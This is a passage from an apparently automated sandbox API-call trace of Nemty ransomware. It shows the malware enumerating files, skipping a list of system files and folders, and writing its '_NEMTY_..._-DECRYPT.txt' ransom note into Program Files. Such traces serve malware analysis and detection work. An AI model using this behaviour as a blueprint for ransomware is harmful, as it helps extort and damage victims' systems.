lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlsrvc.dll", lpUsedDefaultChar=0x0) returned 10 [0169.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wlsrvc.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlsrvc.dll", lpUsedDefaultChar=0x0) returned 10 [0169.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0169.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.844] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf489e0d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.845] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf489e0d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.845] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.846] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2417330, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.846] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.847] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2417330, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2417330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2417330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.847] FindClose (in: hFindFile=0x34239b0 | out: hFindFile=0x34239b0) returned 1 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63455d0 | out: hHeap=0x4f90000) returned 1 [0169.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0169.847] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="...") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="windows") returned -1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="$RECYCLE.BIN") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="rsa") returned -1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="NTDETECT.COM") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ntldr") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="MSDOS.SYS") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="IO.SYS") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="boot.ini") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="boot.ini") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="AUTOEXEC.BAT") returned 1 [0169.847] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ntuser.dat") returned 1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="desktop.ini") returned 1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="CONFIG.SYS") returned 1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="RECYCLER") returned -1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="BOOTSECT.BAK") returned 1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="bootmgr") returned 1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="programdata") returned -1 [0169.848] lstrcmpiW (lpString1="Program Files (x86)", lpString2="appdata") returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0169.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files (x86)", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files (x86)", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Program Files (x86)", lpUsedDefaultChar=0x0) returned 19 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0169.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files (x86)", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files (x86)", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Program Files (x86)", lpUsedDefaultChar=0x0) returned 19 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63455d0 | out: hHeap=0x4f90000) returned 1 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x634fc60 [0169.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0169.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0169.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc60 | out: hHeap=0x4f90000) returned 1 [0169.849] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.849] WriteFile (in: hFile=0x3bc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0169.850] CloseHandle (hObject=0x3bc) returned 1 [0169.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 